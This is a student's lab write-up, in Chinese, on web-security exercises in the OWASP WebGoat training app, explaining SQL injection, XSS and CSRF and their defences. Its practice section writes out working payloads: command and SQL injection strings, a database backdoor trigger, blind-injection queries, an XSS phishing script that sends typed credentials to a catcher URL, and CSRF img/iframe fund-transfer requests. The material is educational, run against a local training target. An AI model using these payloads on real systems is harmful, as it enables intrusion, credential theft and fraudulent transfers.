2018-2019-2 网络对抗技术 20165318 Exp 9 Web安全基础
2018-2019-2 網(wǎng)絡(luò)對抗技術(shù) 20165318 Exp 9 Web安全基礎(chǔ)
基礎(chǔ)問題回答
1.SQL注入攻擊原理，如何防御？
- 原理：SQL注入，就是通過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字符串，最終達(dá)到欺騙服務(wù)器執(zhí)行惡意的SQL命令。
sql注入攻擊是利用是指利用設(shè)計上的漏洞，在目標(biāo)服務(wù)器上運(yùn)行Sql語句以及進(jìn)行其他方式的攻擊，動態(tài)生成Sql語句時沒有對用戶輸入的數(shù)據(jù)進(jìn)行驗證是Sql注入攻擊得逞的主要原因。如：在用戶名、密碼登輸入框中輸入一些',--,#等特殊字符，實現(xiàn)引號閉合、注釋部分SQL語句，利用永真式實現(xiàn)登錄、顯示信息等目的。 - 防御：
- 關(guān)閉或刪除不必要的交互式提交表單頁面；
- 對漏洞注入點相關(guān)代碼進(jìn)行關(guān)鍵字的過濾（如：利用正則表達(dá)式），以規(guī)范代碼安全性；
- 不要在服務(wù)器端放置備份的文件以免受到感染，或備份的文件含有漏洞，造成切入點；
- 將數(shù)據(jù)庫里的內(nèi)容進(jìn)行加密處理使其不具有特殊的意義。
- 原理：SQL注入，就是通過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字符串，最終達(dá)到欺騙服務(wù)器執(zhí)行惡意的SQL命令。
2.XSS攻擊的原理，如何防御？
- 原理：XSS:跨站腳本。攻擊者利用網(wǎng)站漏洞（通常這些漏洞是指網(wǎng)站后臺處理程序沒有很好的對用戶輸入進(jìn)行過濾），輸入可以顯示在頁面上的、對其他用戶造成影響的HTML代碼；由于受害者瀏覽器對目標(biāo)服務(wù)器的信任，當(dāng)其訪問目標(biāo)服務(wù)器上被注入惡意腳本(如：html標(biāo)簽或者javascript代碼)的頁面后，這段惡意腳本可以順利執(zhí)行，實現(xiàn)獲取用戶cookie并可以利用用戶身份進(jìn)行非法操作的目的。
- 防御：
- 用戶角度：提高防范意識，不要輕易輸入個人信息，如用戶名密碼；
- 網(wǎng)頁制作者角度：
- 對輸入和URL參數(shù)進(jìn)行過濾
- 在輸出數(shù)據(jù)之前對潛在的威脅的字符進(jìn)行編碼、轉(zhuǎn)義
3.CSRF攻擊原理，如何防御？
原理：
- CSRF ：跨站請求偽造。
CSRF就是冒名登錄。跨站請求偽造的核心本質(zhì)是竊取用戶的Session,或者說Cookie,因為目前主流情況Session都是存在Cookie中.攻擊者并不關(guān)心被害者具體帳號和密碼,因為一旦用戶進(jìn)行了登錄,Session就是用戶的唯一憑證,只要攻擊者能夠得到Session,就可以偽裝成被害者進(jìn)入服務(wù)器. - 主要是當(dāng)訪問網(wǎng)站A時輸入用戶名和密碼，在通過驗證后，網(wǎng)站A產(chǎn)生Cookie信息并返回，此時登錄網(wǎng)站A成功，可正常發(fā)送請求到網(wǎng)站A。在未退出網(wǎng)站A前，若訪問另一個網(wǎng)站B，網(wǎng)站B可返回一些攻擊性代碼并請求訪問網(wǎng)站A；因此在網(wǎng)站B的請求下，向網(wǎng)站A發(fā)出請求。但網(wǎng)站A不知道該請求惡意的，因此還是會執(zhí)行該惡意代碼
- CSRF ：跨站請求偽造。
防御：
- 驗證請求中的Token
- 驗證 Referer
- 添加加隨機(jī)驗證
- 設(shè)定cookie域
實踐過程記錄
WebGoat
WebGoat是OWASP組織研制出的用于進(jìn)行web漏洞實驗的應(yīng)用平臺，用來說明web應(yīng)用中存在的安全漏洞。WebGoat運(yùn)行在帶有java虛擬機(jī)的平臺之上，目前提供的訓(xùn)練課程有很多，包含了XSS、線程安全、SQL注入、訪問控制、隱藏字段、Cookie等。
參考資料：webgoat學(xué)習(xí)筆記
也可參考WebGoat 中文手冊
- 因WebGoat默認(rèn)使用8080端口，所以開啟前先用
netstat -tupln | grep 8080查看端口是否被占用，如果被占用，用kill 進(jìn)程號終止占用8080端口的進(jìn)程。 - 普通安裝，命令行輸入
java -jar webgoat-container-7.0.1-war-exec.jar - 瀏覽器轉(zhuǎn):
localhost:8080/WebGoat直接用默認(rèn)用戶名密碼登錄即可，開始練習(xí)
SQL注入攻擊（Injection Flaws）
1.命令注入（Command Injection）
概念：命令注入攻擊對任何一個以參數(shù)驅(qū)動的站點來說都是一個嚴(yán)重威脅。這種攻擊技術(shù)背后的技術(shù)方法，簡單易學(xué)，能造成大范圍的損害，危及系統(tǒng)安全。盡管這類風(fēng)險數(shù)目令人難以置信，互聯(lián)網(wǎng)中的系統(tǒng)很容易受到這種形式的攻擊。
原理：在正常的參數(shù)提交過程中添加惡意代碼以執(zhí)行某條指令。
目標(biāo)：可以在目標(biāo)主機(jī)上執(zhí)行任何系統(tǒng)命令
操作方法：
- 右鍵點擊頁面，選擇
inspect Element審查網(wǎng)頁元素對源代碼進(jìn)行修改,在復(fù)選框中任意一欄的代碼，右鍵單擊后，選擇Edit At Html進(jìn)行修改，添加"& netstat -an & ipconfig"
- 點擊
view，可以看到執(zhí)行指令后的網(wǎng)絡(luò)端口使用情況和IP地址。攻擊成功！
2.數(shù)字型注入（Numeric SQL Injection）
概念：注入數(shù)字型數(shù)據(jù)（如：永真式）達(dá)到注入的效果。
原理:在station字段中注入特征字符，組合成新的SQL語句。
如：SELECT * FROM weather_data WHERE station = [station]
目標(biāo)：該例子通過注入SQL字符串查看所有的天氣數(shù)據(jù)。
操作方法：
- 右鍵點擊頁面，選擇
inspect Element審查網(wǎng)頁元素對源代碼進(jìn)行修改，在選中的城市編號Value值中添加or 1=1
- 顯示所有城市的天氣情況，攻擊成功！
3.日志欺騙（Log Spoofing）
概念：通過在日志文件中插入腳本實現(xiàn)欺騙。
原理:在日志文件中愚弄人的眼睛，攻擊者可以利用這種方式清除他們在日志中的痕跡
目標(biāo)：灰色區(qū)域代表在 Web 服務(wù)器的日志中的記錄的內(nèi)容，我們的目的是使用戶名為“admin”的用戶在日志中顯示“成功登錄”
操作方法：
前提：本題目接受用戶輸入的任何一個用戶名，并將其追加到日志文件中。
利用入回車（0D%）和換行符（%0A），在 username 中填入
sxx%0d%0aLogin Succeeded for username: admin
攻擊者可以利用這種方式向日志文件中添加惡意腳本，腳本的返回信息管理員能夠通過瀏覽器看到。比如，將
admin <script>alert(document.cookie)</script>作為用戶名輸入，可以看到彈窗的cookie信息。
4.SQL 注入（LAB: SQL Injection）
Stage 1: 字符串型注入（Stage 1: String SQL Injection）
原理:通過注入字符串繞過認(rèn)證
操作方法：
右鍵點擊頁面，選擇
inspect Element審查網(wǎng)頁元素對源代碼進(jìn)行修改，將password密碼框的最大長度限制改為18。
以用戶Neville（admit）登錄，輸入密碼
hello' or '1' = '1得到所有人員列表，攻擊成功！
Stage 3: 數(shù)字型 SQL 注入（Stage 3: Numeric SQL Injection）
原理:通過注入數(shù)字型數(shù)據(jù)，繞過認(rèn)證，可以通過普通員工的賬戶，查看到BOSS的用戶信息。
操作方法：
使用用戶名 Larry，密碼 larry 點擊
login登錄，點擊ViewProfile查看用戶信息
右鍵點擊頁面，選擇
inspect Element審查網(wǎng)頁元素源代碼，我們可以看到數(shù)據(jù)庫索引的依據(jù)是員工ID，推測返回的是每次查詢到的第一條數(shù)據(jù)。用社會工程學(xué)解釋老板應(yīng)該是工資最高的，所以將員工ID的value改成101 or 1=1 order by salary desc，使得老板的信息作為查詢到的第一條數(shù)據(jù)。
得到老板的賬戶信息，攻擊成功！
5.字符串注入（String SQL Injection）
概念：通過注入字符串繞過認(rèn)證
原理:基于以下查詢語句構(gòu)造自己的 SQL 注入字符串。
SELECT * FROM user_data WHERE last_name = '?'
目標(biāo)：下面的表格，允許用戶查看他們的信用卡號碼。嘗試通過 SQL 注入將所有信用卡信息 顯示出來。嘗試的用戶名是“Smith”。
操作方法：
- 正常情況下只能查詢到用戶名對應(yīng)的信用卡號碼
- 輸入查詢的用戶名
Smith' or 1=1--(Smith 和1=1都成了查詢的條件，而1=1是恒等式，因此能查詢到表里面的所有數(shù)據(jù)) - 得到所有用戶的信用卡號碼,攻擊成功!
返回目錄
6.數(shù)據(jù)庫后門（Database Backdoors）
原理:數(shù)據(jù)庫通常作為一個 Web 應(yīng)用程序的后端來使用。此外，它也用來作為存儲的媒介。 它也可以被用來作為存儲惡意活動的地方，如觸發(fā)器。觸發(fā)器是在數(shù)據(jù)庫管理系統(tǒng)上調(diào)用另 一個數(shù)據(jù)庫操作，如 insert, select, update or delete。舉個例子：攻擊者可以創(chuàng)建一個觸發(fā)器， 該觸發(fā)器在創(chuàng)建新用戶時，將每個新用戶的 Email 地址設(shè)置為攻擊者的地址。
目標(biāo)：利用查詢的脆弱性創(chuàng)建觸發(fā)器。由于 WebGoat 使用的是 MySQL 數(shù)據(jù)庫，不支持觸發(fā)器，所以該課程不會真正完成。 我們的 Login ID 是 101。
操作方法：
- 輸入101，得到該用戶的信息。我們可以看到，輸入的語句沒有驗證，很容易進(jìn)行 SQL 注入
- 輸入注入語句
101; update employee set salary=18000執(zhí)行兩個語句
- 輸入
101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='sxx@hackme.com'WHERE userid = NEW.useridBEFORE/AFTER參數(shù)指定了觸發(fā)執(zhí)行的時間，在事件之前或是之后FOR EACH ROW表示任何一條記錄上的操作滿足觸發(fā)事件都會觸發(fā)該觸發(fā)器，也就是說觸發(fā)器的觸發(fā)頻率是針對每一行數(shù)據(jù)觸發(fā)一次
7.數(shù)字型盲注入（Blind Numeric SQL Injection）
原理:某些 SQL 注入是沒有明確返回信息的，只能通過條件的“真”和“假”進(jìn)行判斷。攻擊者必須充分利用查詢語句，構(gòu)造子查詢語。
目標(biāo)：該題目允許輸入一個帳號，并檢測該帳號是否合法。使用該表單的返回信息（真或假）測試檢查數(shù)據(jù)庫中其它條目信息。我們找到 pins 表中 cc_number 字段值為 1111222233334444 的記錄中 pin 字段的數(shù)值。pin 字段類型為 int，整型。輸入找到的數(shù)值并提交，通過該題目。
操作方法：
本題目中，服務(wù)端頁面返回的信息只有兩種：帳號有效或無效。因此無法簡單地查詢到帳號的PIN數(shù)值。但我們可以利用系統(tǒng)后臺在用的查詢語句
SELECT * FROM user_data WHERE userid=accountNumber;如果該查詢語句返回了帳號的信息，頁面將提示帳號有效，否則提示無效。使用 AND 函數(shù)，我們可以添加一些額外的查詢條件。如果該查詢條件同樣為真，則返回結(jié)果應(yīng)提示帳 號有效，否則無效。
例如：輸入查詢語句
101 AND 1=1，因為兩個條件都成立，所以頁面返回帳號有效
輸入查詢語句
101 AND 1=2，因為第二個條件不成立，所以而頁面返回帳號無效
針對查詢語句的后半部分構(gòu)造復(fù)雜語句,如：
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 5000 );如果提示無效，則pin值小于5000,使用二分法，最終得出pin的值為2364
8.字符串型盲注入（Blind String SQL Injection）
原理:與數(shù)字型盲注入類似，某些 SQL 注入是沒有明確返回信息的，只能通過條件的“真”和“假”進(jìn)行判斷。攻擊者必須充分利用查詢語句，構(gòu)造子查詢語。
目標(biāo)：找到 pins 表中 cc_number 字段值為 4321432143214321 的記錄中 pin 字段的數(shù)值。pin 字段類型為 varchar。輸入找到的數(shù)值（最終的字符串，注意拼寫和大寫）并提交，通過本題目。
操作方法：
- 與數(shù)字型盲注入類似，只是將注入的數(shù)字換為字符串而已
- 例如：輸入
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'M' );取得 pin 字段數(shù)值的第一個字母，并判斷其是否比字母“M”小- SUBSTRING 語法為
SUBSTRING(STRING,START,LENGTH)
- SUBSTRING 語法為
- 同樣使用二分法進(jìn)行測試，最后得到pin字段為
Jill
XSS攻擊(Cross‐Site Scripting)
跨站腳本攻擊是通過HTML注入劫持用戶的瀏覽器，任意構(gòu)造用戶當(dāng)前瀏覽的HTML內(nèi)容，可以模擬用戶當(dāng)前的操作。這里實驗的是一種獲取用戶名和密碼的攻擊。
1.XSS 釣魚（Phishing with XSS）
原理：當(dāng)用戶輸入非法HTTP響應(yīng)時容易受到XSS攻擊。在XSS的幫助下，可以實現(xiàn)釣魚工具或向某些官方頁面中增加內(nèi)容。對于受害者來說很難發(fā)現(xiàn)該內(nèi)容是否存在威脅。
目標(biāo)：創(chuàng)建一個 form，要求填寫用戶名和密碼。將數(shù)據(jù)提交到 http://localhost/WebGoat/catche r?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam
操作方法：
利用XSS可以在已存在的頁面中進(jìn)一步添加元素，包括兩部分：
- 受害人填寫一個表格;
- 服務(wù)器以讀取腳本的形式，將收集到的信息發(fā)送給攻擊者。
編寫一段腳本讀取被攻擊者在表單上輸入的用戶名和密碼信息，將這些信息發(fā)送給捕獲這些信息的 WebGoat
編寫一個帶用戶名和密碼輸入框的表格
//腳本
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
//表格
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
2.存儲型XSS攻擊（Stored XSS Attacks）
原理：這種攻擊常見于論壇等留言平臺，用戶留言的時候輸入一段JavaScript腳本，這段腳本就會被保存在數(shù)據(jù)庫中。因為是留言，所以任何用戶在打開網(wǎng)頁的時候，這個腳本就會被從數(shù)據(jù)庫中取出來而運(yùn)行。
目標(biāo)：寫入非法的消息內(nèi)容，可以導(dǎo)致其他用戶訪問時載入非預(yù)期的頁面或內(nèi)容
操作方法：
- 在title中任意輸入字符，留言板中輸入
<script>alert("I am 20165318sxx. You've been attacked!!!");</script>
3.反射型XSS攻擊（Reflected XSS Attacks）
原理：在反射的XSS攻擊中，攻擊者可以使用攻擊腳本創(chuàng)建一個URL，并將其發(fā)布到另一個網(wǎng)站、通過電子郵件或其他方式讓受害者點擊它。
目標(biāo)：使用攻擊腳本創(chuàng)建URL，并將其寫入網(wǎng)站中，當(dāng)讀取到該URL的時候就會被攻擊
操作方法：
- 輸入代碼
<script>alert("hhhhh You've been attacked!!!");</script>，點擊purse的同時頁面就給出了反饋
CSRF攻擊
跨站請求偽造，盡管聽起來像跨站腳本（XSS），但它與XSS非常不同，XSS利用站點內(nèi)的信任用戶，而CSRF則通過偽裝來自受信任用戶的請求來利用受信任的網(wǎng)站。與XSS攻擊相比，CSRF攻擊往往不大流行（因此對其進(jìn)行防范的資源也相當(dāng)稀少）和難以防范，所以被認(rèn)為比XSS更具危險性。
1.跨站請求偽造（Cross Site Request Forgery (CSRF)）
原理:跨站請求偽造是一種讓受害者加載一個包含網(wǎng)頁的圖片的一種攻擊手段。如:<img src="https://www.mybank.com/me?transferFunds=5000&to=123456"/>,當(dāng)受害者的瀏覽器試圖呈現(xiàn)此頁面時，它將使用指定的參數(shù)向www.mybank.com的“me”端點發(fā)出請求。瀏覽器將請求鏈接以獲得圖像，即使它實際上是一個資金轉(zhuǎn)移功能。提交請求時，瀏覽器將添加與站點相關(guān)的所有cookie。因此，如果用戶對站點進(jìn)行了身份驗證，并且擁有永久或當(dāng)前會話cookie，那么站點將無法將其與合法的用戶請求區(qū)分開來。通過這種方式，攻擊者可以讓受害者執(zhí)行他們不打算執(zhí)行的操作，比如“購買物品”，或者脆弱網(wǎng)站提供的任何其他功能。
目標(biāo):向新聞組發(fā)送一封email。這個email包含一個image，其URL指向一個惡意請求。URL應(yīng)該指向“攻擊”servlet，其中包含“屏幕”和“菜單”參數(shù)，以及一個額外的參數(shù)“transferFunds”，其數(shù)值為5000。可以通過在右側(cè)插入的參數(shù)中找到“Screen”和“menu”值來構(gòu)造鏈接。當(dāng)經(jīng)過身份驗證的CSRF電子郵件的收件人將被轉(zhuǎn)移他們的資金。
操作方法：
- 查看頁面右側(cè)Parameters中的src和menu值，分別為267和900
- 在title中輸入任何參數(shù)，message框中輸入
<img src="http://localhost:8080/WebGoat/attack?Screen=267&menu=900&transferFunds=5000" width="1" height="1" />,以圖片的的形式將URL放進(jìn)Message框，這時的URL對其他用戶是不可見的(寬高設(shè)置成1像素的目的是隱藏該圖片)，用戶一旦點擊圖片，就會觸發(fā)一個CSRF事件，點擊Submit提交 - 在Message List中生成以Title命名的消息。點擊該消息，當(dāng)前頁面就會下載這個消息并顯示出來，轉(zhuǎn)走用戶的5000元，從而達(dá)到CSRF攻擊的目的?？梢詮淖髠?cè)的任務(wù)欄看到任務(wù)已完成。
2.繞過 CSRF 確認(rèn)（ CSRF Prompt By‐Pass）
原理:跨站點請求偽造(CSRF/XSRF)是一種攻擊，它欺騙受害者加載包含“偽造請求”的頁面，以便使用受害者的憑據(jù)執(zhí)行命令。提示用戶確認(rèn)或取消命令可能聽起來像一個解決方案，但如果提示符是可編寫腳本的，則可以忽略它。本課展示如何通過發(fā)出另一個偽造的請求來繞過這樣的提示符。這也適用于一系列提示，例如向?qū)Щ虬l(fā)出多個不相關(guān)的偽造請求。
目標(biāo):與上一個題目類似，向包含多個惡意請求的新聞組發(fā)送電子郵件:第一個請求用于轉(zhuǎn)移資金，第二個請求用于確認(rèn)第一個請求觸發(fā)的提示符。url應(yīng)該指向攻擊servlet，其中包含這個CSRF-prompt-by-pass課程的屏幕、菜單參數(shù)和一個額外的參數(shù)“transferFunds”，其中包含一個數(shù)值“5000”來啟動傳輸，一個字符串值“CONFIRM”來完成傳輸。您可以從右邊的插圖中復(fù)制課程的參數(shù)，創(chuàng)建格式為attack?Screen=XXX&menu=YYY&transferFunds=ZZZ的url。無論誰收到這封電子郵件，并且碰巧在那個時候通過了身份驗證，他的資金就會被轉(zhuǎn)移。
操作方法：
- 查看頁面右側(cè)Parameters中的src和menu值分別為270和900
- 并在title框中輸入學(xué)號，message框中輸入代碼：
<iframe src="attack?Screen=270&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=270&menu=900&transferFunds=CONFIRM"> </iframe>
- 在Message List中生成以Title命名的鏈接，點擊進(jìn)入后，攻擊成功,可以從左側(cè)的任務(wù)欄看到任務(wù)已完成。
實驗總結(jié)與體會
- 本次實驗內(nèi)容都是在Webgoat平臺上進(jìn)行，配置環(huán)境并沒有花費(fèi)太長的時間，整體來說，本次實驗很順利的完成了。Webgoat的中文手冊對每一個小實驗的原理都介紹得非常清楚，便于理解每個題目的要求。在實驗的過程中，先理解原理，再根據(jù)要求進(jìn)行實驗，做到融會貫通，做好學(xué)懂！
總結(jié)
以上是生活随笔為你收集整理的2018-2019-2 网络对抗技术 20165318 Exp 9 Web安全基础的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。
- 上一篇： Java中都通用文件下载（Content
- 下一篇： CCF 送货 + 欧拉路模板